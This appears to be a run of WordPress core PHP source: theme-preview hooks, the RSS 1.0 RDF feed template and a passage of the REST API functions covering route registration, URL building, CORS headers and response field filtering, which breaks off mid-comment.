/**
 * Adds a middleware to `apiFetch` to set the theme for the preview.
 * This adds a `wp_theme_preview` URL parameter to API requests from the Site Editor, so they also respond as if the theme is set to the value of the parameter.
 *
 * @since 6.3.0
 */
function wp_attach_theme_preview_middleware() {
	// Don't allow non-admins to preview themes.
	if ( ! current_user_can( 'switch_themes' ) ) {
		return;
	}

	wp_add_inline_script(
		'wp-api-fetch',
		sprintf(
			'wp.apiFetch.use( wp.apiFetch.createThemePreviewMiddleware( %s ) );',
			wp_json_encode( sanitize_text_field( wp_unslash( $_GET['wp_theme_preview'] ) ) )
		),
		'after'
	);
}

/**
 * Set a JavaScript constant for theme activation.
 *
 * Sets the JavaScript global WP_BLOCK_THEME_ACTIVATE_NONCE containing the nonce
 * required to activate a theme. For use within the site editor.
 *
 * @see https://github.com/WordPress/gutenberg/pull/41836
 *
 * @since 6.3.0
 * @access private
 */
function wp_block_theme_activate_nonce() {
	$nonce_handle = 'switch-theme_' . wp_get_theme_preview_path();
	?>
	<script type="text/javascript">
		window.WP_BLOCK_THEME_ACTIVATE_NONCE = <?php echo wp_json_encode( wp_create_nonce( $nonce_handle ) ); ?>;
	</script>
	<?php
}

/**
 * Add filters and actions to enable Block Theme Previews in the Site Editor.
 *
 * The filters and actions should be added after `pluggable.php` is included as they may
 * trigger code that uses `current_user_can()` which requires functionality from `pluggable.php`.
 *
 * @since 6.3.2
 */
function wp_initialize_theme_preview_hooks() {
	if ( ! empty( $_GET['wp_theme_preview'] ) ) {
		add_filter( 'stylesheet', 'wp_get_theme_preview_path' );
		add_filter( 'template', 'wp_get_theme_preview_path' );
		add_action( 'init', 'wp_attach_theme_preview_middleware' );
		add_action( 'admin_head', 'wp_block_theme_activate_nonce' );
	}
}
<?php
/**
 * RSS 1 RDF Feed Template for displaying RSS 1 Posts feed.
 *
 * @package WordPress
 */

header( 'Content-Type: ' . feed_content_type( 'rdf' ) . '; charset=' . get_option( 'blog_charset' ), true );
$more = 1;

echo '<?xml version="1.0" encoding="' . get_option( 'blog_charset' ) . '"?' . '>';

/** This action is documented in wp-includes/feed-rss2.php */
do_action( 'rss_tag_pre', 'rdf' );
?>
<rdf:RDF
	xmlns="http://purl.org/rss/1.0/"
	xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:admin="http://webns.net/mvcb/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	<?php
	/**
	 * Fires at the end of the feed root to add namespaces.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rdf_ns' );
	?>
>
<channel rdf:about="<?php bloginfo_rss( 'url' ); ?>">
	<title><?php wp_title_rss(); ?></title>
	<link><?php bloginfo_rss( 'url' ); ?></link>
	<description><?php bloginfo_rss( 'description' ); ?></description>
	<dc:date><?php echo get_feed_build_date( 'Y-m-d\TH:i:s\Z' ); ?>	</dc:date>
	<sy:updatePeriod>
	<?php
		/** This filter is documented in wp-includes/feed-rss2.php */
		echo apply_filters( 'rss_update_period', 'hourly' );
	?>
	</sy:updatePeriod>
	<sy:updateFrequency>
	<?php
		/** This filter is documented in wp-includes/feed-rss2.php */
		echo apply_filters( 'rss_update_frequency', '1' );
	?>
	</sy:updateFrequency>
	<sy:updateBase>2000-01-01T12:00+00:00</sy:updateBase>
	<?php
	/**
	 * Fires at the end of the RDF feed header.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rdf_header' );
	?>
	<items>
		<rdf:Seq>
		<?php
		while ( have_posts() ) :
			the_post();
			?>
			<rdf:li rdf:resource="<?php the_permalink_rss(); ?>"/>
		<?php endwhile; ?>
		</rdf:Seq>
	</items>
</channel>
<?php
rewind_posts();
while ( have_posts() ) :
	the_post();
	?>
<item rdf:about="<?php the_permalink_rss(); ?>">
	<title><?php the_title_rss(); ?></title>
	<link><?php the_permalink_rss(); ?></link>

	<dc:creator><![CDATA[<?php the_author(); ?>]]></dc:creator>
	<dc:date><?php echo mysql2date( 'Y-m-d\TH:i:s\Z', $post->post_date_gmt, false ); ?></dc:date>
	<?php the_category_rss( 'rdf' ); ?>

	<?php if ( get_option( 'rss_use_excerpt' ) ) : ?>
		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
	<?php else : ?>
		<description><![CDATA[<?php the_excerpt_rss(); ?>]]></description>
		<content:encoded><![CDATA[<?php the_content_feed( 'rdf' ); ?>]]></content:encoded>
	<?php endif; ?>

	<?php
	/**
	 * Fires at the end of each RDF feed item.
	 *
	 * @since 2.0.0
	 */
	do_action( 'rdf_item' );
	?>
</item>
<?php endwhile; ?>
</rdf:RDF>
<?php
/**
 * REST API functions.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Version number for our API.
 *
 * @var string
 */
define( 'REST_API_VERSION', '2.0' );

/**
 * Registers a REST API route.
 *
 * Note: Do not use before the {@see 'rest_api_init'} hook.
 *
 * @since 4.4.0
 * @since 5.1.0 Added a `_doing_it_wrong()` notice when not called on or after the `rest_api_init` hook.
 * @since 5.5.0 Added a `_doing_it_wrong()` notice when the required `permission_callback` argument is not set.
 *
 * @param string $route_namespace The first URL segment after core prefix. Should be unique to your package/plugin.
 * @param string $route           The base URL for route you are adding.
 * @param array  $args            Optional. Either an array of options for the endpoint, or an array of arrays for
 *                                multiple methods. Default empty array.
 * @param bool   $override        Optional. If the route already exists, should we override it? True overrides,
 *                                false merges (with newer overriding if duplicate keys exist). Default false.
 * @return bool True on success, false on error.
 */
function register_rest_route( $route_namespace, $route, $args = array(), $override = false ) {
	if ( empty( $route_namespace ) ) {
		/*
		 * Non-namespaced routes are not allowed, with the exception of the main
		 * and namespace indexes. If you really need to register a
		 * non-namespaced route, call `WP_REST_Server::register_route` directly.
		 */
		_doing_it_wrong( 'register_rest_route', __( 'Routes must be namespaced with plugin or theme name and version.' ), '4.4.0' );
		return false;
	} elseif ( empty( $route ) ) {
		_doing_it_wrong( 'register_rest_route', __( 'Route must be specified.' ), '4.4.0' );
		return false;
	}

	$clean_namespace = trim( $route_namespace, '/' );

	if ( $clean_namespace !== $route_namespace ) {
		_doing_it_wrong( __FUNCTION__, __( 'Namespace must not start or end with a slash.' ), '5.4.2' );
	}

	if ( ! did_action( 'rest_api_init' ) ) {
		_doing_it_wrong(
			'register_rest_route',
			sprintf(
				/* translators: %s: rest_api_init */
				__( 'REST API routes must be registered on the %s action.' ),
				'<code>rest_api_init</code>'
			),
			'5.1.0'
		);
	}

	if ( isset( $args['args'] ) ) {
		$common_args = $args['args'];
		unset( $args['args'] );
	} else {
		$common_args = array();
	}

	if ( isset( $args['callback'] ) ) {
		// Upgrade a single set to multiple.
		$args = array( $args );
	}

	$defaults = array(
		'methods'  => 'GET',
		'callback' => null,
		'args'     => array(),
	);

	foreach ( $args as $key => &$arg_group ) {
		if ( ! is_numeric( $key ) ) {
			// Route option, skip here.
			continue;
		}

		$arg_group         = array_merge( $defaults, $arg_group );
		$arg_group['args'] = array_merge( $common_args, $arg_group['args'] );

		if ( ! isset( $arg_group['permission_callback'] ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: 1: The REST API route being registered, 2: The argument name, 3: The suggested function name. */
					__( 'The REST API route definition for %1$s is missing the required %2$s argument. For REST API routes that are intended to be public, use %3$s as the permission callback.' ),
					'<code>' . $clean_namespace . '/' . trim( $route, '/' ) . '</code>',
					'<code>permission_callback</code>',
					'<code>__return_true</code>'
				),
				'5.5.0'
			);
		}

		foreach ( $arg_group['args'] as $arg ) {
			if ( ! is_array( $arg ) ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: 1: $args, 2: The REST API route being registered. */
						__( 'REST API %1$s should be an array of arrays. Non-array value detected for %2$s.' ),
						'<code>$args</code>',
						'<code>' . $clean_namespace . '/' . trim( $route, '/' ) . '</code>'
					),
					'6.1.0'
				);
				break; // Leave the foreach loop once a non-array argument was found.
			}
		}
	}

	$full_route = '/' . $clean_namespace . '/' . trim( $route, '/' );
	rest_get_server()->register_route( $clean_namespace, $full_route, $args, $override );
	return true;
}

/**
 * Registers a new field on an existing WordPress object type.
 *
 * @since 4.7.0
 *
 * @global array $wp_rest_additional_fields Holds registered fields, organized
 *                                          by object type.
 *
 * @param string|array $object_type Object(s) the field is being registered to,
 *                                  "post"|"term"|"comment" etc.
 * @param string       $attribute   The attribute name.
 * @param array        $args {
 *     Optional. An array of arguments used to handle the registered field.
 *
 *     @type callable|null $get_callback    Optional. The callback function used to retrieve the field value. Default is
 *                                          'null', the field will not be returned in the response. The function will
 *                                          be passed the prepared object data.
 *     @type callable|null $update_callback Optional. The callback function used to set and update the field value. Default
 *                                          is 'null', the value cannot be set or updated. The function will be passed
 *                                          the model object, like WP_Post.
 *     @type array|null $schema             Optional. The schema for this field.
 *                                          Default is 'null', no schema entry will be returned.
 * }
 */
function register_rest_field( $object_type, $attribute, $args = array() ) {
	global $wp_rest_additional_fields;

	$defaults = array(
		'get_callback'    => null,
		'update_callback' => null,
		'schema'          => null,
	);

	$args = wp_parse_args( $args, $defaults );

	$object_types = (array) $object_type;

	foreach ( $object_types as $object_type ) {
		$wp_rest_additional_fields[ $object_type ][ $attribute ] = $args;
	}
}

/**
 * Registers rewrite rules for the REST API.
 *
 * @since 4.4.0
 *
 * @see rest_api_register_rewrites()
 * @global WP $wp Current WordPress environment instance.
 */
function rest_api_init() {
	rest_api_register_rewrites();

	global $wp;
	$wp->add_query_var( 'rest_route' );
}

/**
 * Adds REST rewrite rules.
 *
 * @since 4.4.0
 *
 * @see add_rewrite_rule()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 */
function rest_api_register_rewrites() {
	global $wp_rewrite;

	add_rewrite_rule( '^' . rest_get_url_prefix() . '/?$', 'index.php?rest_route=/', 'top' );
	add_rewrite_rule( '^' . rest_get_url_prefix() . '/(.*)?', 'index.php?rest_route=/$matches[1]', 'top' );
	add_rewrite_rule( '^' . $wp_rewrite->index . '/' . rest_get_url_prefix() . '/?$', 'index.php?rest_route=/', 'top' );
	add_rewrite_rule( '^' . $wp_rewrite->index . '/' . rest_get_url_prefix() . '/(.*)?', 'index.php?rest_route=/$matches[1]', 'top' );
}

/**
 * Registers the default REST API filters.
 *
 * Attached to the {@see 'rest_api_init'} action
 * to make testing and disabling these filters easier.
 *
 * @since 4.4.0
 */
function rest_api_default_filters() {
	if ( wp_is_serving_rest_request() ) {
		// Deprecated reporting.
		add_action( 'deprecated_function_run', 'rest_handle_deprecated_function', 10, 3 );
		add_filter( 'deprecated_function_trigger_error', '__return_false' );
		add_action( 'deprecated_argument_run', 'rest_handle_deprecated_argument', 10, 3 );
		add_filter( 'deprecated_argument_trigger_error', '__return_false' );
		add_action( 'doing_it_wrong_run', 'rest_handle_doing_it_wrong', 10, 3 );
		add_filter( 'doing_it_wrong_trigger_error', '__return_false' );
	}

	// Default serving.
	add_filter( 'rest_pre_serve_request', 'rest_send_cors_headers' );
	add_filter( 'rest_post_dispatch', 'rest_send_allow_header', 10, 3 );
	add_filter( 'rest_post_dispatch', 'rest_filter_response_fields', 10, 3 );

	add_filter( 'rest_pre_dispatch', 'rest_handle_options_request', 10, 3 );
	add_filter( 'rest_index', 'rest_add_application_passwords_to_index' );
}

/**
 * Registers default REST API routes.
 *
 * @since 4.7.0
 */
function create_initial_rest_routes() {
	foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
		$controller = $post_type->get_rest_controller();

		if ( ! $controller ) {
			continue;
		}

		if ( ! $post_type->late_route_registration ) {
			$controller->register_routes();
		}

		$revisions_controller = $post_type->get_revisions_rest_controller();
		if ( $revisions_controller ) {
			$revisions_controller->register_routes();
		}

		$autosaves_controller = $post_type->get_autosave_rest_controller();
		if ( $autosaves_controller ) {
			$autosaves_controller->register_routes();
		}

		if ( $post_type->late_route_registration ) {
			$controller->register_routes();
		}
	}

	// Post types.
	$controller = new WP_REST_Post_Types_Controller();
	$controller->register_routes();

	// Post statuses.
	$controller = new WP_REST_Post_Statuses_Controller();
	$controller->register_routes();

	// Taxonomies.
	$controller = new WP_REST_Taxonomies_Controller();
	$controller->register_routes();

	// Terms.
	foreach ( get_taxonomies( array( 'show_in_rest' => true ), 'object' ) as $taxonomy ) {
		$controller = $taxonomy->get_rest_controller();

		if ( ! $controller ) {
			continue;
		}

		$controller->register_routes();
	}

	// Users.
	$controller = new WP_REST_Users_Controller();
	$controller->register_routes();

	// Application Passwords
	$controller = new WP_REST_Application_Passwords_Controller();
	$controller->register_routes();

	// Comments.
	$controller = new WP_REST_Comments_Controller();
	$controller->register_routes();

	$search_handlers = array(
		new WP_REST_Post_Search_Handler(),
		new WP_REST_Term_Search_Handler(),
		new WP_REST_Post_Format_Search_Handler(),
	);

	/**
	 * Filters the search handlers to use in the REST search controller.
	 *
	 * @since 5.0.0
	 *
	 * @param array $search_handlers List of search handlers to use in the controller. Each search
	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
	 *                               Default is only a handler for posts.
	 */
	$search_handlers = apply_filters( 'wp_rest_search_handlers', $search_handlers );

	$controller = new WP_REST_Search_Controller( $search_handlers );
	$controller->register_routes();

	// Block Renderer.
	$controller = new WP_REST_Block_Renderer_Controller();
	$controller->register_routes();

	// Block Types.
	$controller = new WP_REST_Block_Types_Controller();
	$controller->register_routes();

	// Global Styles revisions.
	$controller = new WP_REST_Global_Styles_Revisions_Controller();
	$controller->register_routes();

	// Global Styles.
	$controller = new WP_REST_Global_Styles_Controller();
	$controller->register_routes();

	// Settings.
	$controller = new WP_REST_Settings_Controller();
	$controller->register_routes();

	// Themes.
	$controller = new WP_REST_Themes_Controller();
	$controller->register_routes();

	// Plugins.
	$controller = new WP_REST_Plugins_Controller();
	$controller->register_routes();

	// Sidebars.
	$controller = new WP_REST_Sidebars_Controller();
	$controller->register_routes();

	// Widget Types.
	$controller = new WP_REST_Widget_Types_Controller();
	$controller->register_routes();

	// Widgets.
	$controller = new WP_REST_Widgets_Controller();
	$controller->register_routes();

	// Block Directory.
	$controller = new WP_REST_Block_Directory_Controller();
	$controller->register_routes();

	// Pattern Directory.
	$controller = new WP_REST_Pattern_Directory_Controller();
	$controller->register_routes();

	// Block Patterns.
	$controller = new WP_REST_Block_Patterns_Controller();
	$controller->register_routes();

	// Block Pattern Categories.
	$controller = new WP_REST_Block_Pattern_Categories_Controller();
	$controller->register_routes();

	// Site Health.
	$site_health = WP_Site_Health::get_instance();
	$controller  = new WP_REST_Site_Health_Controller( $site_health );
	$controller->register_routes();

	// URL Details.
	$controller = new WP_REST_URL_Details_Controller();
	$controller->register_routes();

	// Menu Locations.
	$controller = new WP_REST_Menu_Locations_Controller();
	$controller->register_routes();

	// Site Editor Export.
	$controller = new WP_REST_Edit_Site_Export_Controller();
	$controller->register_routes();

	// Navigation Fallback.
	$controller = new WP_REST_Navigation_Fallback_Controller();
	$controller->register_routes();

	// Font Collections.
	$font_collections_controller = new WP_REST_Font_Collections_Controller();
	$font_collections_controller->register_routes();
}

/**
 * Loads the REST API.
 *
 * @since 4.4.0
 *
 * @global WP $wp Current WordPress environment instance.
 */
function rest_api_loaded() {
	if ( empty( $GLOBALS['wp']->query_vars['rest_route'] ) ) {
		return;
	}

	/**
	 * Whether this is a REST Request.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	define( 'REST_REQUEST', true );

	// Initialize the server.
	$server = rest_get_server();

	// Fire off the request.
	$route = untrailingslashit( $GLOBALS['wp']->query_vars['rest_route'] );
	if ( empty( $route ) ) {
		$route = '/';
	}
	$server->serve_request( $route );

	// We're done.
	die();
}

/**
 * Retrieves the URL prefix for any API resource.
 *
 * @since 4.4.0
 *
 * @return string Prefix.
 */
function rest_get_url_prefix() {
	/**
	 * Filters the REST URL prefix.
	 *
	 * @since 4.4.0
	 *
	 * @param string $prefix URL prefix. Default 'wp-json'.
	 */
	return apply_filters( 'rest_url_prefix', 'wp-json' );
}

/**
 * Retrieves the URL to a REST endpoint on a site.
 *
 * Note: The returned URL is NOT escaped.
 *
 * @since 4.4.0
 *
 * @todo Check if this is even necessary
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int|null $blog_id Optional. Blog ID. Default of null returns URL for current blog.
 * @param string   $path    Optional. REST route. Default '/'.
 * @param string   $scheme  Optional. Sanitization scheme. Default 'rest'.
 * @return string Full URL to the endpoint.
 */
function get_rest_url( $blog_id = null, $path = '/', $scheme = 'rest' ) {
	if ( empty( $path ) ) {
		$path = '/';
	}

	$path = '/' . ltrim( $path, '/' );

	if ( is_multisite() && get_blog_option( $blog_id, 'permalink_structure' ) || get_option( 'permalink_structure' ) ) {
		global $wp_rewrite;

		if ( $wp_rewrite->using_index_permalinks() ) {
			$url = get_home_url( $blog_id, $wp_rewrite->index . '/' . rest_get_url_prefix(), $scheme );
		} else {
			$url = get_home_url( $blog_id, rest_get_url_prefix(), $scheme );
		}

		$url .= $path;
	} else {
		$url = trailingslashit( get_home_url( $blog_id, '', $scheme ) );
		/*
		 * nginx only allows HTTP/1.0 methods when redirecting from / to /index.php.
		 * To work around this, we manually add index.php to the URL, avoiding the redirect.
		 */
		if ( ! str_ends_with( $url, 'index.php' ) ) {
			$url .= 'index.php';
		}

		$url = add_query_arg( 'rest_route', $path, $url );
	}

	if ( is_ssl() && isset( $_SERVER['SERVER_NAME'] ) ) {
		// If the current host is the same as the REST URL host, force the REST URL scheme to HTTPS.
		if ( parse_url( get_home_url( $blog_id ), PHP_URL_HOST ) === $_SERVER['SERVER_NAME'] ) {
			$url = set_url_scheme( $url, 'https' );
		}
	}

	if ( is_admin() && force_ssl_admin() ) {
		/*
		 * In this situation the home URL may be http:, and `is_ssl()` may be false,
		 * but the admin is served over https: (one way or another), so REST API usage
		 * will be blocked by browsers unless it is also served over HTTPS.
		 */
		$url = set_url_scheme( $url, 'https' );
	}

	/**
	 * Filters the REST URL.
	 *
	 * Use this filter to adjust the url returned by the get_rest_url() function.
	 *
	 * @since 4.4.0
	 *
	 * @param string   $url     REST URL.
	 * @param string   $path    REST route.
	 * @param int|null $blog_id Blog ID.
	 * @param string   $scheme  Sanitization scheme.
	 */
	return apply_filters( 'rest_url', $url, $path, $blog_id, $scheme );
}

/**
 * Retrieves the URL to a REST endpoint.
 *
 * Note: The returned URL is NOT escaped.
 *
 * @since 4.4.0
 *
 * @param string $path   Optional. REST route. Default empty.
 * @param string $scheme Optional. Sanitization scheme. Default 'rest'.
 * @return string Full URL to the endpoint.
 */
function rest_url( $path = '', $scheme = 'rest' ) {
	return get_rest_url( null, $path, $scheme );
}

/**
 * Do a REST request.
 *
 * Used primarily to route internal requests through WP_REST_Server.
 *
 * @since 4.4.0
 *
 * @param WP_REST_Request|string $request Request.
 * @return WP_REST_Response REST response.
 */
function rest_do_request( $request ) {
	$request = rest_ensure_request( $request );
	return rest_get_server()->dispatch( $request );
}

/**
 * Retrieves the current REST server instance.
 *
 * Instantiates a new instance if none exists already.
 *
 * @since 4.5.0
 *
 * @global WP_REST_Server $wp_rest_server REST server instance.
 *
 * @return WP_REST_Server REST server instance.
 */
function rest_get_server() {
	/* @var WP_REST_Server $wp_rest_server */
	global $wp_rest_server;

	if ( empty( $wp_rest_server ) ) {
		/**
		 * Filters the REST Server Class.
		 *
		 * This filter allows you to adjust the server class used by the REST API, using a
		 * different class to handle requests.
		 *
		 * @since 4.4.0
		 *
		 * @param string $class_name The name of the server class. Default 'WP_REST_Server'.
		 */
		$wp_rest_server_class = apply_filters( 'wp_rest_server_class', 'WP_REST_Server' );
		$wp_rest_server       = new $wp_rest_server_class();

		/**
		 * Fires when preparing to serve a REST API request.
		 *
		 * Endpoint objects should be created and register their hooks on this action rather
		 * than another action to ensure they're only loaded when needed.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Server $wp_rest_server Server object.
		 */
		do_action( 'rest_api_init', $wp_rest_server );
	}

	return $wp_rest_server;
}

/**
 * Ensures request arguments are a request object (for consistency).
 *
 * @since 4.4.0
 * @since 5.3.0 Accept string argument for the request path.
 *
 * @param array|string|WP_REST_Request $request Request to check.
 * @return WP_REST_Request REST request instance.
 */
function rest_ensure_request( $request ) {
	if ( $request instanceof WP_REST_Request ) {
		return $request;
	}

	if ( is_string( $request ) ) {
		return new WP_REST_Request( 'GET', $request );
	}

	return new WP_REST_Request( 'GET', '', $request );
}

/**
 * Ensures a REST response is a response object (for consistency).
 *
 * This implements WP_REST_Response, allowing usage of `set_status`/`header`/etc
 * without needing to double-check the object. Will also allow WP_Error to indicate error
 * responses, so users should immediately check for this value.
 *
 * @since 4.4.0
 *
 * @param WP_REST_Response|WP_Error|WP_HTTP_Response|mixed $response Response to check.
 * @return WP_REST_Response|WP_Error If response generated an error, WP_Error, if response
 *                                   is already an instance, WP_REST_Response, otherwise
 *                                   returns a new WP_REST_Response instance.
 */
function rest_ensure_response( $response ) {
	if ( is_wp_error( $response ) ) {
		return $response;
	}

	if ( $response instanceof WP_REST_Response ) {
		return $response;
	}

	/*
	 * While WP_HTTP_Response is the base class of WP_REST_Response, it doesn't provide
	 * all the required methods used in WP_REST_Server::dispatch().
	 */
	if ( $response instanceof WP_HTTP_Response ) {
		return new WP_REST_Response(
			$response->get_data(),
			$response->get_status(),
			$response->get_headers()
		);
	}

	return new WP_REST_Response( $response );
}

/**
 * Handles _deprecated_function() errors.
 *
 * @since 4.4.0
 *
 * @param string $function_name The function that was called.
 * @param string $replacement   The function that should have been called.
 * @param string $version       Version.
 */
function rest_handle_deprecated_function( $function_name, $replacement, $version ) {
	if ( ! WP_DEBUG || headers_sent() ) {
		return;
	}
	if ( ! empty( $replacement ) ) {
		/* translators: 1: Function name, 2: WordPress version number, 3: New function name. */
		$string = sprintf( __( '%1$s (since %2$s; use %3$s instead)' ), $function_name, $version, $replacement );
	} else {
		/* translators: 1: Function name, 2: WordPress version number. */
		$string = sprintf( __( '%1$s (since %2$s; no alternative available)' ), $function_name, $version );
	}

	header( sprintf( 'X-WP-DeprecatedFunction: %s', $string ) );
}

/**
 * Handles _deprecated_argument() errors.
 *
 * @since 4.4.0
 *
 * @param string $function_name The function that was called.
 * @param string $message       A message regarding the change.
 * @param string $version       Version.
 */
function rest_handle_deprecated_argument( $function_name, $message, $version ) {
	if ( ! WP_DEBUG || headers_sent() ) {
		return;
	}
	if ( $message ) {
		/* translators: 1: Function name, 2: WordPress version number, 3: Error message. */
		$string = sprintf( __( '%1$s (since %2$s; %3$s)' ), $function_name, $version, $message );
	} else {
		/* translators: 1: Function name, 2: WordPress version number. */
		$string = sprintf( __( '%1$s (since %2$s; no alternative available)' ), $function_name, $version );
	}

	header( sprintf( 'X-WP-DeprecatedParam: %s', $string ) );
}

/**
 * Handles _doing_it_wrong errors.
 *
 * @since 5.5.0
 *
 * @param string      $function_name The function that was called.
 * @param string      $message       A message explaining what has been done incorrectly.
 * @param string|null $version       The version of WordPress where the message was added.
 */
function rest_handle_doing_it_wrong( $function_name, $message, $version ) {
	if ( ! WP_DEBUG || headers_sent() ) {
		return;
	}

	if ( $version ) {
		/* translators: Developer debugging message. 1: PHP function name, 2: WordPress version number, 3: Explanatory message. */
		$string = __( '%1$s (since %2$s; %3$s)' );
		$string = sprintf( $string, $function_name, $version, $message );
	} else {
		/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message. */
		$string = __( '%1$s (%2$s)' );
		$string = sprintf( $string, $function_name, $message );
	}

	header( sprintf( 'X-WP-DoingItWrong: %s', $string ) );
}

/**
 * Sends Cross-Origin Resource Sharing headers with API requests.
 *
 * @since 4.4.0
 *
 * @param mixed $value Response data.
 * @return mixed Response data.
 */
function rest_send_cors_headers( $value ) {
	$origin = get_http_origin();

	if ( $origin ) {
		// Requests from file:// and data: URLs send "Origin: null".
		if ( 'null' !== $origin ) {
			$origin = sanitize_url( $origin );
		}
		header( 'Access-Control-Allow-Origin: ' . $origin );
		header( 'Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE' );
		header( 'Access-Control-Allow-Credentials: true' );
		header( 'Vary: Origin', false );
	} elseif ( ! headers_sent() && 'GET' === $_SERVER['REQUEST_METHOD'] && ! is_user_logged_in() ) {
		header( 'Vary: Origin', false );
	}

	return $value;
}

/**
 * Handles OPTIONS requests for the server.
 *
 * This is handled outside of the server code, as it doesn't obey normal route
 * mapping.
 *
 * @since 4.4.0
 *
 * @param mixed           $response Current response, either response or `null` to indicate pass-through.
 * @param WP_REST_Server  $handler  ResponseHandler instance (usually WP_REST_Server).
 * @param WP_REST_Request $request  The request that was used to make current response.
 * @return WP_REST_Response Modified response, either response or `null` to indicate pass-through.
 */
function rest_handle_options_request( $response, $handler, $request ) {
	if ( ! empty( $response ) || $request->get_method() !== 'OPTIONS' ) {
		return $response;
	}

	$response = new WP_REST_Response();
	$data     = array();

	foreach ( $handler->get_routes() as $route => $endpoints ) {
		$match = preg_match( '@^' . $route . '$@i', $request->get_route(), $matches );

		if ( ! $match ) {
			continue;
		}

		$args = array();
		foreach ( $matches as $param => $value ) {
			if ( ! is_int( $param ) ) {
				$args[ $param ] = $value;
			}
		}

		foreach ( $endpoints as $endpoint ) {
			// Remove the redundant preg_match() argument.
			unset( $args[0] );

			$request->set_url_params( $args );
			$request->set_attributes( $endpoint );
		}

		$data = $handler->get_data_for_route( $route, $endpoints, 'help' );
		$response->set_matched_route( $route );
		break;
	}

	$response->set_data( $data );
	return $response;
}

/**
 * Sends the "Allow" header to state all methods that can be sent to the current route.
 *
 * @since 4.4.0
 *
 * @param WP_REST_Response $response Current response being served.
 * @param WP_REST_Server   $server   ResponseHandler instance (usually WP_REST_Server).
 * @param WP_REST_Request  $request  The request that was used to make current response.
 * @return WP_REST_Response Response to be served, with "Allow" header if route has allowed methods.
 */
function rest_send_allow_header( $response, $server, $request ) {
	$matched_route = $response->get_matched_route();

	if ( ! $matched_route ) {
		return $response;
	}

	$routes = $server->get_routes();

	$allowed_methods = array();

	// Get the allowed methods across the routes.
	foreach ( $routes[ $matched_route ] as $_handler ) {
		foreach ( $_handler['methods'] as $handler_method => $value ) {

			if ( ! empty( $_handler['permission_callback'] ) ) {

				$permission = call_user_func( $_handler['permission_callback'], $request );

				$allowed_methods[ $handler_method ] = true === $permission;
			} else {
				$allowed_methods[ $handler_method ] = true;
			}
		}
	}

	// Strip out all the methods that are not allowed (false values).
	$allowed_methods = array_filter( $allowed_methods );

	if ( $allowed_methods ) {
		$response->header( 'Allow', implode( ', ', array_map( 'strtoupper', array_keys( $allowed_methods ) ) ) );
	}

	return $response;
}

/**
 * Recursively computes the intersection of arrays using keys for comparison.
 *
 * @since 5.3.0
 *
 * @param array $array1 The array with master keys to check.
 * @param array $array2 An array to compare keys against.
 * @return array An associative array containing all the entries of array1 which have keys
 *               that are present in all arguments.
 */
function _rest_array_intersect_key_recursive( $array1, $array2 ) {
	$array1 = array_intersect_key( $array1, $array2 );
	foreach ( $array1 as $key => $value ) {
		if ( is_array( $value ) && is_array( $array2[ $key ] ) ) {
			$array1[ $key ] = _rest_array_intersect_key_recursive( $value, $array2[ $key ] );
		}
	}
	return $array1;
}

/**
 * Filters the REST API response to include only an allow-listed set of response object fields.
 *
 * @since 4.8.0
 *
 * @param WP_REST_Response $response Current response being served.
 * @param WP_REST_Server   $server   ResponseHandler instance (usually WP_REST_Server).
 * @param WP_REST_Request  $request  The request that was used to make current response.
 * @return WP_REST_Response Response to be served, trimmed down to contain a subset of fields.
 */
function rest_filter_response_fields( $response, $server, $request ) {
	if ( ! isset( $request['_fields'] ) || $response->is_error() ) {
		return $response;
	}

	$data = $response->get_data();

	$fields = wp_parse_list( $request['_fields'] );

	if ( 0 === count( $fields ) ) {
		return $response;
	}

	// Trim off outside whitespace from the comma delimited list.
	$fields = array_map( 'trim', $fields );

	// Create nested array of accepted field hierarchy.
	$fields_as_keyed = array();
	foreach ( $fields as $field ) {
		$parts = explode( '.', $field );
		$ref   = &$fields_as_keyed;
		while ( count( $parts ) > 1 ) {
			$next = array_shift( $parts );
			if ( isset( $ref[ $next ] ) && true === $ref[ $next ] ) {
				// Skip any sub-properties if their parent prop is already marked for inclusion.
				break 2;
			}
			$ref[ $next ] = isset( $ref[ $next ] ) ? $ref[ $next ] : array();
			$ref          = &$ref[ $next ];
		}
		$last         = array_shift( $parts );
		$ref[ $last ] = true;
	}

	if ( wp_is_numeric_array( $data ) ) {
		$new_data = array();
		foreach ( $data as $item ) {
			$new_data[] = _rest_array_intersect_key_recursive( $item, $fields_as_keyed );
		}
	} else {
		$new_data = _rest_array_intersect_key_recursive( $data, $fields_as_keyed );
	}

	$response->set_data( $new_data );

	return $response;
}

/**
 * Given an array of fields to include in a response, some of which may be
 * `nested.fields`, determine whether the provided field should be included
 * in the response body.
 *
 * If a parent field is passed in, the presence of any nested field within
 * that parent will cause the method to return `true`. For example "title"
 * will return true if any of `title`, `title.raw` or `title.rendered` is
 * provided.
 *
 * @since 5.3.0
 *
 * @param string $field  A field to test for inclusion in the response body.
 * @param array  $fields An array of string fields supported by the endpoint.
 * @return bool Whether to include the field or not.
 */
function rest_is_field_included( $field, $fields ) {
	if ( in_array( $field, $fields, true ) ) {
		return true;
	}

	foreach ( $fields as $accepted_field ) {
		/*
		 * Check to see if $field is the parent of any item in $fields.
		 * A field "parent" should be accepted if "parent.child" is accepted.
		 */
		if ( str_starts_with( $accepted_field, "$field." ) ) {
			return true;
		}
		/*
		 * Conversely, if "parent" is accepted, all "parent.child" fields
		 * should also be accepted.
		 */
		if ( str_starts_with( $field, "$accepted_field." ) ) {
			return true;
		}
	}

	return false;
}

/**
 * Adds the REST API URL to the WP RSD endpoint.
 *
 * @since 4.4.0
 *
